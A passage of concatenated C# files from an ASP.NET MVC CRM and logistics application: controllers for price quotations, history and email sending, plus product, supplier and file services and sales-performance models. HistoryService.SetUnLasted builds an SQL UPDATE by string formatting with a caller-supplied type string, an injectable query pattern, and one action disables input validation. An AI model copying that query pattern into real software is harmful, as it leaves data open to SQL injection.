}
else if (UsersModel.isDeptManager(CurrenUser))
{
listIdUser.AddRange(CurrenUser.Department.Users.Select(_user => _user.Id));
}
return listIdUser;
}
protected void SetCookiePager(int pageSize, string actionPage)
{
HttpCookie nCookie = Cookie ?? new HttpCookie(PAGE_SIZE_APP);
nCookie[actionPage] = string.Format("{0}", pageSize);
nCookie["LastVisit"] = DateTime.Now.ToString("F");
nCookie.Expires = DateTime.Now.AddYears(1);
if (Cookie == null)
Response.SetCookie(nCookie);
else
Response.Cookies.Add(nCookie);
}
/* public ActionResult SimpleView(IResult result, Func<ActionResult> viewRender)
{
if (result != null && result.IsSuccess == false)
{
return Json(new
{
success = result.IsSuccess,
value = result.ErrorResults
});
}
return viewRender();
}
*/
public ActionResult JsonView(Func<object> viewRender, Func<object> otherData = null)
{
return Json(new
{
success = true,
value = viewRender(),
other = otherData != null ? otherData() : null
});
}
public JsonResult JsonResult(object dataView = null, bool dialog = false)
{
return new JsonResult()
{
JsonRequestBehavior = JsonRequestBehavior.AllowGet,
Data = new
{
success = true,
value = dataView,
dialog = dialog
},
};
}
public JsonResult JsonResult(IResult result, object dataView = null, bool dialog = false)
{
if (result != null && result.IsSuccess == false)
{
return Json(new
{
success = result.IsSuccess,
value = result.ErrorResults,
dialog = dialog
}, JsonRequestBehavior.AllowGet);
}
return new JsonResult()
{
JsonRequestBehavior = JsonRequestBehavior.AllowGet,
Data = new
{
success = true,
value = dataView,
dialog = dialog
},
};
}
public void SetNotification(string message, NotificationType notifyType, bool autoHideNotification = true)
{
this.TempData["Notification"] = message;
this.TempData["NotificationAutoHide"] = (autoHideNotification) ? "true" : "false";
switch (notifyType)
{
case NotificationType.Success:
this.TempData["NotificationCSS"] = "notificationbox nb-success";
break;
case NotificationType.Error:
this.TempData["NotificationCSS"] = "notificationbox nb-error";
break;
case NotificationType.Warning:
this.TempData["NotificationCSS"] = "notificationbox nb-warning";
break;
}
}
}
}<file_sep>using System.Linq;
using System.Web.Mvc;
using System.Web.Routing;
using SSM.Services;
namespace SSM.Controllers
{
public class HistoryController:BaseController
{
private IHistoryService historyService;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
historyService = new HistoryService();
}
public ActionResult GetListHistory(long id, string type)
{
var list = historyService.GetQuery(x => x.ObjectId == id && x.ObjectType == type).OrderByDescending(x=>x.CreateTime).ToList();
return PartialView("_listForHist", list);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web.Mvc;
using System.Web.Routing;
using SSM.Common;
using SSM.Models;
using SSM.Models.CRM;
using SSM.Services;
using SSM.Services.CRM;
using SSM.ViewModels;
using SSM.ViewModels.Shared;
namespace SSM.Controllers
{
public class PriceQuotationController : BaseController
{
private ICRMPriceQuotationService priceQuotationService;
private static string PRICE_LIST_MODEL = "PRICE_LIST_MODEL";
private Grid<CRMPriceQuotation> _grid;
private static string EMAIL_LIST_MODEL = "EMAIL_LIST_MODEL";
private Grid<CRMEmailHistoryModel> _gridEmailHist;
private CRMSearchModel filterModel;
private ICRMEmailHistoryService emailHistoryService;
private ICRMCustomerService crmCustomerService;
private UsersServices usersServices;
private ICRMPriceStatusService priceStatusService;
private PriceSearchModel priceSearch;
private static string PRICE_SEARCH_MODEL = "PRICE_SEARCH_MODEL";
public PriceQuotationController()
{
this.emailHistoryService = new CRMEmailHistoryService();
this.priceQuotationService = new CRMPriceQuotationService();
this.usersServices = new UsersServicesImpl();
crmCustomerService = new CRMCustomerService();
priceStatusService = new CRMPriceStatusService();
}
public ActionResult Index(long? refId)
{
_grid = (Grid<CRMPriceQuotation>)Session[PRICE_LIST_MODEL];
if (_grid == null)
{
_grid = new Grid<CRMPriceQuotation>
(
new Pager
{
CurrentPage = 1,
PageSize = 50,
Sord = "asc",
Sidx = "Subject"
}
);
_grid.SearchCriteria = new CRMPriceQuotation();
}
var searchModel = (PriceSearchModel)Session[PRICE_SEARCH_MODEL];
priceSearch = searchModel ?? new PriceSearchModel() { DateType = "U" };
ViewBag.SearchingModel = priceSearch;
if (refId.HasValue)
priceSearch.CusId = refId.Value;
GetBaseData();
var sales = usersServices.GetAllSales(CurrenUser, false);
var depts = usersServices.GetAllDepartmentActive(CurrenUser);
ViewBag.AllSales = new SelectList(sales, "Id", "FullName");
ViewBag.AllDept = new SelectList(depts, "Id", "DeptName");
UpdateGrid();
Session[PRICE_LIST_MODEL] = _grid;
return View(_grid);
}
[HttpPost]
public ActionResult Index(PriceSearchModel model, Grid<CRMPriceQuotation> grid)
{
_grid = grid;
priceSearch = model;
Session[PRICE_SEARCH_MODEL] = model;
UpdateGrid();
ViewBag.SearchingModel = model;
return PartialView("_List", _grid);
}
private void UpdateGrid()
{
var totalRow = 0;
var page = _grid.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "Subject" : page.Sidx, page.Sord == "asc");
IEnumerable<CRMPriceQuotation> customers = priceQuotationService.GetAll(priceSearch, sort, out totalRow, page.CurrentPage, page.PageSize, CurrenUser);
_grid.Pager.Init(totalRow);
if (totalRow == 0)
{
_grid.Data = new List<CRMPriceQuotation>();
ViewBag.TotalDisplay = string.Empty;
return;
}
var crmPriceQuotations = customers as IList<CRMPriceQuotation> ?? customers.ToList();
_grid.Data = crmPriceQuotations;
var cusFollow = crmPriceQuotations.Count(x => x.CRMPriceStatus.Code == (byte)CRMPriceStaus.Following && x.CreatedById== CurrenUser.Id);
var cancle = crmPriceQuotations.Count(x => x.CRMPriceStatus.Code == (byte)CRMPriceStaus.Cancel && x.CreatedById == CurrenUser.Id);
var cusFinish = crmPriceQuotations.Count(x => x.CRMPriceStatus.Code == (byte)CRMPriceStaus.Finished && x.CreatedById == CurrenUser.Id);
string totalDisplay =
string.Format(Resources.Resource.CRM_PRICE_LIST_TOTAL,
totalRow, cusFollow, cusFinish, cancle);
ViewBag.TotalDisplay = totalDisplay;
}
private CRMCustomerModel crmCustomer;
public ActionResult Create(long refId)
{
crmCustomer = crmCustomer ?? crmCustomerService.GetModelById(refId);
var model = new CRMPriceQuotationModel { StatusId = (int)CRMPriceStaus.Following, CrmCusId = refId, IsCusCreate = refId > 0 };
if (model.IsCusCreate)
{
model.CrmCusName = "fromCus";
}
GetBaseData();
var value = new
{
Views = this.RenderPartialView("_Create", model),
Title = string.Format(@"{0}", "Tạo báo giá cho khách hàng " + crmCustomer.CompanyShortName),
};
return JsonResult(value, true);
}
private void GetBaseData()
{
var status = priceStatusService.GetAll().OrderBy(x => x.Name);
ViewBag.PriceStatus = new SelectList(status, "Id", "Name");
}
[HttpPost]
public ActionResult Create(CRMPriceQuotationModel model)
{
if (model.CrmCusId > 0)
{
model.CrmCusName = "forcust";
}
GetBaseData();
if (!ModelState.IsValid)
{
crmCustomer = crmCustomer ?? crmCustomerService.GetModelById(model.CrmCusId);
var value = new
{
Views = this.RenderPartialView("_Create", model),
ColumnClass = "col-md-11",
Title = string.Format(@"{0}", "Tạo báo giá cho khách hàng " + crmCustomer.CompanyShortName),
};
return JsonResult(value, true);
}
model.CreatedBy = CurrenUser;
model.CreatedDate = DateTime.Now;
var id = priceQuotationService.InsertModel(model);
var result = new CommandResult(true)
{
ErrorResults = new[] { "Tạo báo giá thành công" }
};
return JsonResult(result, null, true);
}
public ActionResult ListByCus(long refId)
{
var sort = new SSM.Services.SortField("Subject", true);
var totalRow = 0;
var search = new PriceSearchModel() { CusId = refId };
IEnumerable<CRMPriceQuotation> customers = priceQuotationService.GetAll(search, sort, out totalRow, 1, 100, CurrenUser);
crmCustomer = crmCustomer ?? crmCustomerService.GetModelById(refId);
var value = new
{
Views = this.RenderPartialView("_ListForCus", customers),
CloseOther = true,
Title = string.Format(@"{0}", "List Bao gia cua khách hàng " + crmCustomer.CompanyShortName),
};
return JsonResult(value, true);
}
public ActionResult Edit(long id)
{
var model = priceQuotationService.GetModel(id);
GetBaseData();
var value = new
{
Views = this.RenderPartialView("_Edit", model),
ColumnClass = "col-md-11",
Title = string.Format(@"{0}", "Sữa báo giá khách hàng " + model.CRMCustomer.CompanyShortName),
};
return JsonResult(value, true);
}
[HttpPost]
public ActionResult Edit(CRMPriceQuotationModel model)
{
GetBaseData();
if (!ModelState.IsValid)
{
crmCustomer = crmCustomer ?? crmCustomerService.GetModelById(model.CrmCusId);
var value = new
{
Views = this.RenderPartialView("_Edit", model),
ColumnClass = "col-md-11",
Title = string.Format(@"{0}", "Sữa báo giá khách hàng " + crmCustomer.CompanyShortName),
};
return JsonResult(value, true);
}
model.ModifiedBy = CurrenUser;
model.ModifiedDate = DateTime.Now;
priceQuotationService.UpdateModel(model);
var result = new CommandResult(true)
{
ErrorResults = new[] { "sữa báo giá thành công" }
};
return JsonResult(result);
}
public ActionResult PriceQuotationSendMail(long id)
{
var model = new EmailModel
{
User = CurrenUser,
IdRef = id
};
var price = priceQuotationService.GetModel(id);
var cus = price.CRMCustomer;
var toAddress = string.Empty;
var ctacts = cus.CRMContacts.ToList();
foreach (var ctact in ctacts)
{
toAddress += ctact.Email;
toAddress += ",";
if (string.IsNullOrEmpty(ctact.Email2)) continue;
toAddress += ctact.Email2;
toAddress += ",";
}
model.EmailTo = toAddress;
var value = new
{
Views = this.RenderPartialView("_EmailFormTemplateView", model),
Title = string.Format(@"{0}", "Gữi email báo giá cho " + cus.CompanyShortName),
};
return JsonResult(value, true);
//return PartialView("_EmailFormTemplateView", model);
}
[HttpPost]
[ValidateInput(false)]
[ValidateAntiForgeryToken]
public ActionResult PriceQuotationSendMail(EmailModel model)
{
if (!ModelState.IsValid)
{
return Json(new
{
Message = @"Gửi email thất bại",
Success = false,
View = this.RenderPartialView("_EmailFormTemplateView", model)
}, JsonRequestBehavior.AllowGet);
}
var errorMessages = string.Empty;
model.EmailTo = model.EmailTo.Replace(";", ",");
foreach (var emailAddress in model.EmailTo.Split(',').Where(x => !string.IsNullOrEmpty(x)))
{
var errorMessage = string.Empty;
if (!emailAddress.IsValid(out errorMessage))
errorMessages += string.Format("Invalid: {0} Error: {1}", emailAddress, errorMessage);
}
if (!string.IsNullOrEmpty(errorMessages))
{
ModelState.AddModelError(string.Empty, errorMessages);
return Json(new
{
Message = @"Gửi email thất bại xem chi tiết lỗi",
Success = false,
View = this.RenderPartialView("_EmailFormTemplateView", model)
}, JsonRequestBehavior.AllowGet);
}
var admin = usersServices.FindEntity(x => x.UserName.ToLower() == "admin");
var user = !string.IsNullOrEmpty(CurrenUser.Email) ? CurrenUser : admin;
model.User = user;
var ccEmail = string.Empty;
var dept =
usersServices.GetAll(
x => x.DeptId == CurrenUser.DeptId && x.RoleName == UsersModel.Positions.Manager.ToString());
ccEmail = dept.Where(u => string.IsNullOrEmpty(u.Email)).Aggregate(ccEmail, (current, u) => current + (u.Email + ","));
model.EmailCc = ccEmail + CurrenUser.Email;
var email = new EmailCommon { EmailModel = model };
if (email.SendEmail(out errorMessages, true))
{
var emailHistory = new CRMEmailHistoryModel
{
CcAddress = model.EmailCc,
ToAddress = model.EmailTo,
Subject = model.Subject,
DateSend = DateTime.Now,
PriceId = model.IdRef
};
emailHistoryService.InsertModel(emailHistory);
priceQuotationService.UpdateSendMail(model.IdRef);
return Json(new
{
Message = @"Gửi email thành công",
Success = true
}, JsonRequestBehavior.AllowGet);
}
ModelState.AddModelError(string.Empty, errorMessages);
return Json(new
{
Message = @"Gửi email thất bại xem chi tiết lỗi",
Success = false,
View = this.RenderPartialView("_EmailFormTemplateView", model)
}, JsonRequestBehavior.AllowGet);
}
public ActionResult EmailHistoryOfPrice(long id)
{
var price = priceQuotationService.GetModel(id);
return PartialView("_EmailHistoryListOfPrice", price);
}
public ActionResult EmailList(long priceId)
{
_gridEmailHist = (Grid<CRMEmailHistoryModel>)Session[EMAIL_LIST_MODEL];
if (_gridEmailHist == null)
{
_gridEmailHist = new Grid<CRMEmailHistoryModel>
(
new Pager
{
CurrentPage = 1,
PageSize = 8,
Sord = "desc",
Sidx = "DateSend"
}
);
_gridEmailHist.SearchCriteria = new CRMEmailHistoryModel();
}
UpdateGridEmailHist(priceId);
return PartialView("_listEmail", _gridEmailHist);
}
private void UpdateGridEmailHist(long idPrice)
{
var price = priceQuotationService.GetModel(idPrice);
if (price == null)
{
return;
}
var totalRow = 0;
var page = _gridEmailHist.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "Subject" : page.Sidx, page.Sord == "asc");
IEnumerable<CRMEmailHistoryModel> emaiList = emailHistoryService.GetAll(sort, out totalRow, page.CurrentPage, page.PageSize, idPrice);
_gridEmailHist.Pager.Init(totalRow);
if (totalRow == 0)
{
_gridEmailHist.Data = new List<CRMEmailHistoryModel>();
ViewBag.TotalDisplay = string.Empty;
return;
}
_gridEmailHist.Data = emaiList;
ViewBag.PriceQuotation = price ?? new CRMPriceQuotationModel();
}
public ActionResult Delete(long id)
{
try
{
var emailhist = emailHistoryService.GetAll(x => x.PriceId == id);
if (emailhist.Any())
{
emailHistoryService.DeleteAll(emailhist);
}
priceQuotationService.DeletePrice(id);
var value = new
{
Views = "Bạn đã xoá thành công",
Title = "Success!",
IsRemve = true,
TdId = "del_" + id
};
return JsonResult(value, true);
}
catch (Exception ex)
{
var result = new CommandResult(false)
{
ErrorResults = new[] { ex.Message }
};
return JsonResult(result, null, true);
}
}
}
}<file_sep>using System;
using System.Linq;
using SSM.Models;
namespace SSM.Services
{
public interface IHistoryService : IServices<History>
{
History GetHistory(long id);
void Save(HistoryModel model);
void UpdateHistory(HistoryModel model);
bool SetUnLasted(long objId, string objType);
HistoryModel GetModel(long id);
HistoryModel GeModelLasted(long objId, string objType);
}
public class HistoryService : Services<History>, IHistoryService
{
public History GetHistory(long id)
{
var db = FindEntity(x => x.Id == id);
return db;
}
public void Save(HistoryModel model)
{
var history = HistoryModel.ConvertToDb(model);
Insert(history);
}
public void UpdateHistory(HistoryModel model)
{
var db = GetHistory(model.Id);
HistoryModel.CopyModelToDb(db, model);
Commited();
}
public bool SetUnLasted(long objId, string objType)
{
var sql = string.Format("update History set IsLasted=0, IsRevisedRequest=0 where ObjectId={0} and ObjectType='{1}'", objId, objType);
return ExecuteCommand(sql);
/*var dbs = GetAll(x => x.IsLasted == true && x.ObjectId == objId && x.ObjectType == objType);
foreach (var history in dbs)
{
history.IsLasted = false;
}
Commited();
return true;*/
}
public HistoryModel GetModel(long id)
{
var db = GetHistory(id);
return HistoryModel.ConvertToModel(db);
}
public HistoryModel GeModelLasted(long objId, string objType)
{
var db = FindEntity(x => x.IsLasted == true && x.ObjectId == objId && x.ObjectType == objType);
return HistoryModel.ConvertToModel(db);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data.SqlTypes;
using System.IO;
using System.Linq;
using System.Linq.Expressions;
using AutoMapper;
using SSM.Models;
using SSM.ViewModels;
using WebGrease.Css.Ast.Selectors;
namespace SSM.Services
{
public interface IProductServices:IServices<Product>
{
IEnumerable<StockRecevingDiagloModel> GetSuggeCode(string stockCode);
List<StockRecevingDiagloModel> GetAll(string name, int? top, bool meager=true);
IEnumerable<Product> GetAll(Expression<Func<Product, bool>> filter, int? top);
IQueryable<Product> GetAll(Product product);
Product GetProduct(long id);
ProductModel GetProductModel(long id);
void DeleteProduct(long id);
void InsertProduct(ProductModel supplierModel);
void UpdateProduct(ProductModel supplierModel);
bool Exists(string name);
}
public class ProductServices :Services<Product>, IProductServices
{
public IEnumerable<StockRecevingDiagloModel> GetSuggeCode(string stockCode)
{
var result = (from p in Context.Products
where (p.Code.Contains(stockCode) && (p.Uom != null && p.Uom.Trim() != ""))
orderby p.Code
select new StockRecevingDiagloModel
{
Id = p.Id,
Display = p.Code.Trim(),
Other = p.Uom,
DbMode = "Product"
}).Take(20).ToList();
return result;
}
public IEnumerable<Product> GetAll(Expression<Func<Product, bool>> filter, int? top)
{
if (top.HasValue)
return Context.Products.Where(filter).OrderBy(x => x.Code).Take(top.Value).ToList();
return Context.Products.Where(filter).OrderBy(x => x.Code).ThenBy(x=>x.Name).ToList();
}
public IQueryable<Product> GetAll(Product product)
{
product = product ?? new Product();
var qr = GetQuery(p =>
(string.IsNullOrEmpty(product.Code) || p.Code.Contains(product.Code))
&& (string.IsNullOrEmpty(product.Name) || p.Name.Contains(product.Name))
);
return qr;
}
public List<StockRecevingDiagloModel> GetAll(string name, int? top, bool meager = true)
{
if (!top.HasValue)
top = int.MaxValue;
var result = (from p in Context.Products
where (p.Name.Contains(name) || p.Code.Contains(name)) && (p.Uom != null && p.Uom.Trim() != "")
orderby p.Code
select new StockRecevingDiagloModel
{
Id = p.Id,
Display = meager ? p.Code.Trim() + "-" + p.Name.Trim() : p.Name.Trim(),
Other = p.Uom,
DbMode = "Product"
}).Take(top.Value).ToList();
return result;
}
public bool Exists(string name)
{
var check = (from p in Context.Products
where (p.Code.Trim() + "-" + p.Name.Trim()) == name
select p.Id).FirstOrDefault();
return check > 0;
}
public Product GetProduct(long id)
{
return Context.Products.FirstOrDefault(x => x.Id == id);
}
public ProductModel GetProductModel(long id)
{
var db = GetProduct(id);
if (db == null)
return null;
var model = ToModels(db);
if (db.SupplierId.HasValue)
model.SupplierName = db.Supplier.FullName;
return model;
}
public void DeleteProduct(long id)
{
var dbWh = GetProduct(id);
if (dbWh == null)
throw new SqlNotFilledException("Not found Warehouse with id");
Context.Products.DeleteOnSubmit(dbWh);
Commited();
}
public void InsertProduct(ProductModel model)
{
var dbModel = ToDbModel(model);
Context.Products.InsertOnSubmit(dbModel);
Commited();
}
public void UpdateProduct(ProductModel medel)
{
var dbWh = GetProduct(medel.Id);
if (dbWh == null)
throw new SqlNotFilledException("Not found Warehouse with id");
CoppyToDbMode(medel, dbWh);
Commited();
}
private ProductModel ToModels(Product product)
{
if (product == null) return null;
return Mapper.Map<ProductModel>(product);
}
private void CoppyToDbMode(ProductModel model, Product dbModel)
{
dbModel.Id = model.Id;
dbModel.Description = model.Description;
dbModel.Code = model.Code.Trim();
if (model.Image != null)
{
dbModel.Image = new System.Data.Linq.Binary(model.Image);
dbModel.FileName = model.FileName;
dbModel.ContentType = model.ContentType;
}
dbModel.Name = model.Name;
dbModel.NameEnglish = model.NameEnglish;
dbModel.Uom = model.Uom;
dbModel.SupplierId = model.SupplierId;
dbModel.ModifiedBy = model.ModifiedBy;
dbModel.DateModify = model.DateModify;
}
private Product ToDbModel(ProductModel model)
{
var db = new Product()
{
Id = model.Id,
Name = model.Name,
Description = model.Description,
NameEnglish = model.NameEnglish,
Code = model.Code.Trim(),
SupplierId = model.SupplierId,
CreatedBy = model.CreatedBy,
ModifiedBy = model.ModifiedBy,
DateCreate = model.DateCreate,
DateModify = model.DateModify,
ContentType = model.ContentType,
Uom = model.Uom,
FileName = model.FileName,
Image = model.Image != null ? new System.Data.Linq.Binary(model.Image) : null
};
return db;
}
}
}<file_sep>using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Data;
namespace SSM.Models
{
public class GroupModel
{
public int Id { get; set; }
[Required]
public string Name { get; set; }
public string Discription { get; set; }
public bool IsActive { get; set; }
public IList<UserGroup> UserGroups { get; set; }
public long[] ListUserAccesses { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using SSM.Common;
using SSM.Models;
namespace SSM.Services
{
public interface IServerFileService : IServices<ServerFile>
{
List<ServerFile> GetServerFile(long objectId, string objectType);
ServerFile GetById(long id);
}
public class ServerFileService : Services<ServerFile>, IServerFileService
{
public List<ServerFile> GetServerFile(long objectId, string objectType)
{
var qr = GetQuery(x => x.ObjectId == objectId && x.ObjectType == objectType);
qr = qr.OrderBy(x => x.FileName);
return qr.ToList();
}
public ServerFile GetById(long id)
{
return FindEntity(x => x.Id == id);
}
}
}<file_sep>using System.Collections.Generic;
using System.Data.SqlTypes;
using System.Linq;
using AutoMapper;
using SSM.Models;
namespace SSM.Services
{
public interface ISupplierServices : IServices<Supplier>
{
IQueryable<Supplier> GetAll(Supplier model);
IEnumerable<Supplier> GetAll(Supplier model, SSM.Services.SortField sort, out int rows, int page, int pageSize);
Supplier GetSupplier(long id);
SupplierModels GetSupplierModel(long id);
void DeleteSupplier(long id);
void InsertSupplier(SupplierModels supplierModel);
void UpdateSupplier(SupplierModels supplierModel);
}
public class SupplierSerivecs : Services<Supplier>, ISupplierServices
{
public IQueryable<Supplier> GetAll(Supplier model)
{
var qr = GetQuery(s =>
(string.IsNullOrEmpty(model.CompanyName) || (s.CompanyName.Contains(model.CompanyName)))
&& (string.IsNullOrEmpty(model.FullName) || (s.FullName.Contains(model.FullName)))
&& (string.IsNullOrEmpty(model.Address) || (s.Address.Contains(model.Address)))
&& (!model.CountryId.HasValue || s.CountryId == model.CountryId)
);
return qr;
}
public IEnumerable<Supplier> GetAll(Supplier model, SortField sort, out int rows, int page, int pageSize)
{
var qr = GetQuery(s =>
(string.IsNullOrEmpty(model.CompanyName) || (s.CompanyName != null && s.CompanyName.Contains(model.CompanyName)))
&& (string.IsNullOrEmpty(model.FullName) || (s.FullName != null && s.FullName.Contains(model.FullName)))
&& (string.IsNullOrEmpty(model.Address) || (s.Address != null && s.Address.Contains(model.Address)))
&& (!model.CountryId.HasValue || s.CountryId == model.CountryId)
);
qr = qr.OrderBy(sort);
rows = qr.Count();
var list = GetListPager(qr, page, pageSize);
return list;
}
public Supplier GetSupplier(long id)
{
return GetQuery().FirstOrDefault(x => x.Id == id);
}
public SupplierModels GetSupplierModel(long id)
{
return ToModels(GetSupplier(id));
}
public void DeleteSupplier(long id)
{
var supplier = GetSupplier(id);
if (supplier == null)
throw new SqlNotFilledException("Not found supplier with id");
Delete(supplier);
Commited();
}
public void InsertSupplier(SupplierModels supplierModel)
{
var model = ToDbModel(supplierModel);
Insert(model);
Commited();
}
public void UpdateSupplier(SupplierModels supplierModel)
{
var dbSupplier = GetSupplier(supplierModel.Id);
if (dbSupplier == null)
throw new SqlNotFilledException("Not found supplier with id");
CoppyToDbMode(supplierModel, dbSupplier);
Commited();
}
private void CoppyToDbMode(SupplierModels model, Supplier supplier)
{
supplier.Id = model.Id;
supplier.Address = model.Address;
supplier.CompanyName = model.CompanyName;
supplier.Description = model.Description;
supplier.Email = model.Email;
supplier.FullName = model.FullName;
supplier.Fax = model.Fax;
supplier.PhoneNumber = model.PhoneNumber;
supplier.CountryId = model.CountryId;
supplier.ModifiedBy = model.ModifiedBy;
supplier.DateModify = model.DateModify;
}
public Supplier ToDbModel(SupplierModels model)
{
var db = new Supplier()
{
Id = model.Id,
Address = model.Address,
CompanyName = model.CompanyName,
Description = model.Description,
Email = model.Email,
FullName = model.FullName,
Fax = model.Fax,
PhoneNumber = model.PhoneNumber,
CountryId = model.CountryId,
CreatedBy = model.CreatedBy,
ModifiedBy = model.ModifiedBy,
DateCreate = model.DateCreate,
DateModify = model.DateModify
};
return db;
}
public SupplierModels ToModels(Supplier supplier)
{
if (supplier == null) return null;
return Mapper.Map<SupplierModels>(supplier);
}
}
}<file_sep>using System;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models
{
public class ShipperModel
{
public long Id { get; set; }
[Required]
[DisplayName("Shipper Name")]
public String ShipperName { get; set; }
[DisplayName("Address")]
public String Address { get; set; }
[DisplayName("PhoneNumber")]
public String PhoneNumber { get; set; }
[DisplayName("Email")]
public String Email { get; set; }
[DisplayName("Description")]
public String Description { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models
{
public class SalePerformamceModel
{
public int Priod { get; set; }
public int Month { get; set; }
public int Year { get; set; }
public long ShipperId { get; set; }
public long CneeId { get; set; }
public long AgentId { get; set; }
public int ServiceId { get; set; }
public long SaleId { get; set; }
public String ServiceName { get; set; }
public String DateFrom { get; set; }
public String DateTo { get; set; }
public bool IsConsole { get; set; }
}
public class SaleTypePerform
{
public double Perform { get; set; }
public double Bonus { get; set; }
public String SaleType { get; set; }
public override bool Equals(Object obj)
{
if (this.SaleType.Equals(((SaleTypePerform)obj).SaleType))
{
return true;
}
return false;
}
public override int GetHashCode()
{
return this.SaleType.GetHashCode();
}
}
public class ViewPerformance
{
public List<SaleTypePerform> SaleTypePerforms { get; set; }
public SaleTypePerform SaleTypePerform1 { get; set; }
public String Name { get; set; }
public String Dept { get; set; }
public double Percent { get; set; }
public double Plan { get; set; }
public double Perform { get; set; }
public double Bonus { get; set; }
public int Shipments { get; set; }
public long UserId { get; set; }
public String SaleType { get; set; }
public override bool Equals(Object obj)
{
if (this.UserId.Equals(((ViewPerformance)obj).UserId) &&
this.Name.Equals(((ViewPerformance)obj).Name))
{
return true;
}
return false;
}
public override int GetHashCode()
{
return this.Name.GetHashCode() + this.UserId.GetHashCode();
}
public ViewPerformance()
{
}
public ViewPerformance(long UserId, String Name, String Dept, decimal Perform, int Shipment, decimal bonus)
{
this.UserId = UserId;
this.Name = Name;
this.Dept = Dept;
this.Perform = Convert.ToDouble(Perform);
this.Shipments = Shipment;
this.Bonus = Convert.ToDouble(bonus);
}
public ViewPerformance(long UserId, String Name, String Dept, String saletype, decimal Plan, decimal Perform, decimal Percent, decimal bonus, int Shipment)
{
this.UserId = UserId;
this.Name = Name;
this.Dept = Dept;
this.SaleType = saletype;
this.Percent = Convert.ToDouble(Percent);
this.Shipments = Shipment;
this.Perform = Convert.ToDouble(Perform);
this.Plan = Convert.ToDouble(Plan);
this.Bonus = Convert.ToDouble(bonus);
this.SaleTypePerform1 = new SaleTypePerform();
this.SaleTypePerform1.Bonus = this.Bonus;
this.SaleTypePerform1.SaleType = saletype;
this.SaleTypePerform1.Perform = this.Perform;
}
public ViewPerformance(long UserId, String Name, String Dept, decimal Plan, decimal Perform, decimal Percent, decimal bonus, int Shipment)
{
this.UserId = UserId;
this.Name = Name;
this.Dept = Dept;
this.Percent = Convert.ToDouble(Percent);
this.Shipments = Shipment;
this.Perform = Convert.ToDouble(Perform);
this.Plan = Convert.ToDouble(Plan);
this.Bonus = Convert.ToDouble(bonus);
}
public ViewPerformance(long UserId, decimal Plan)
{
this.UserId = UserId;
this.Plan = Convert.ToDouble(Plan);
}
public void setPerform(SaleTypePerform SaleTypePerform1)
{
if (this.SaleTypePerforms == null)
{
this.SaleTypePerforms = new List<SaleTypePerform>();
}
if (SaleTypePerform1.SaleType == null || SaleTypePerform1.SaleType.Trim() == "")
{
SaleTypePerform1.SaleType = this.SaleTypePerforms[0].SaleType;
}
if (!this.SaleTypePerforms.Contains(SaleTypePerform1))
{
this.SaleTypePerforms.Add(SaleTypePerform1);
}
else
{
SaleTypePerform SaleTypePerformRe = this.SaleTypePerforms.Find(
delegate (SaleTypePerform SaleTypePerform2)
{
return SaleTypePerform2.SaleType == SaleTypePerform1.SaleType;
});
SaleTypePerformRe.Bonus += SaleTypePerform1.Bonus;
SaleTypePerformRe.Perform += SaleTypePerform1.Perform;
}
}
}
public class QuantityUnits
{
public String UnitName { get; set; }
public double UnitCount { get; set; }
public QuantityUnits(String UnitName1, double UnitCount1)
{
this.UnitName = UnitName1;
this.UnitCount = UnitCount1;
}
}
public class PerformModel
{
public override bool Equals(Object obj)
{
if (this.SaleType.Equals(((PerformModel)obj).SaleType))
{
return true;
}
return false;
}
public override int GetHashCode()
{
return this.SaleType.GetHashCode();
}
public String SaleType { get; set; }
public double Profit { get; set; }
public double Perform { get; set; }
public double Bonus { get; set; }
public int Month { get; set; }
}
public enum TypeOfPlan
{
Company,
Department,
User
}
public class PlanModelMonth
{
public PlanModelMonth(int month, decimal value)
{
Month = month;
PValue = value;
}
public int Month { get; set; }
public decimal PValue { get; set; }
}
public class PerformanceReport
{
public List<PerformModel> PerformModels { get; set; }
public PerformModel PerformModel1 { get; set; }
public double Plan { get; set; }
public double ProfitSale { get; set; }
public double ProfitHandel { get; set; }
public double PerformPS { get; set; }
public double PerformPH { get; set; }
public double SumProfit { get; set; }
public double PerformSumProfit { get; set; }
public double SumBonus { get; set; }
public int Month { get; set; }
public PerformanceReport(double _plan, double _profitSale, double _profitHandle, double _performPs, double _performPH,
double _sumProfit, double _performSum)
{
this.Plan = _plan;
this.ProfitSale = _profitSale;
this.ProfitHandel = _profitHandle;
this.PerformPS = _performPs;
this.PerformPH = _performPH;
this.PerformSumProfit = _performSum;
this.SumProfit = _sumProfit;
}
private double divisible(double Number1, double Number2)
{
if (Number2 == null || Number2 == 0)
{
return 0;
}
return Number1 / Number2;
}
public void setPerform(PerformModel PerformModel1)
{
if (this.PerformModels == null)
{
this.PerformModels = new List<PerformModel>();
}
if (!this.PerformModels.Contains(PerformModel1))
{
PerformModel1.Perform = divisible(PerformModel1.Profit * 100, this.Plan);
this.PerformModels.Add(PerformModel1);
}
else
{
PerformModel PerformModeRe = this.PerformModels.Find(
delegate (PerformModel PerformModel2)
{
return PerformModel2.SaleType == PerformModel1.SaleType;
});
PerformModeRe.Profit += PerformModel1.Profit;
PerformModeRe.Bonus += PerformModel1.Bonus;
PerformModeRe.Perform = divisible(PerformModeRe.Profit * 100, this.Plan);
}
this.SumProfit += PerformModel1.Profit;
this.SumBonus += PerformModel1.Bonus;
this.PerformSumProfit = divisible(this.SumProfit * 100, this.Plan);
}
public PerformanceReport(int _month, double _plan, String SaleType, double _profit, double _bonus)
{
this.Month = _month;
this.Plan = _plan;
if (SaleType.Equals(ShipmentModel.SaleTypes.Sales.ToString()))
{
this.ProfitSale = _profit;
}
else
{
this.ProfitHandel = _profit;
}
this.PerformModel1 = new PerformModel();
this.PerformModel1.SaleType = SaleType;
this.PerformModel1.Profit = _profit;
this.PerformModel1.Bonus = _bonus;
}
public PerformanceReport()
{
this.Plan = 0;
this.ProfitSale = 0;
this.ProfitHandel = 0;
this.PerformPS = 0;
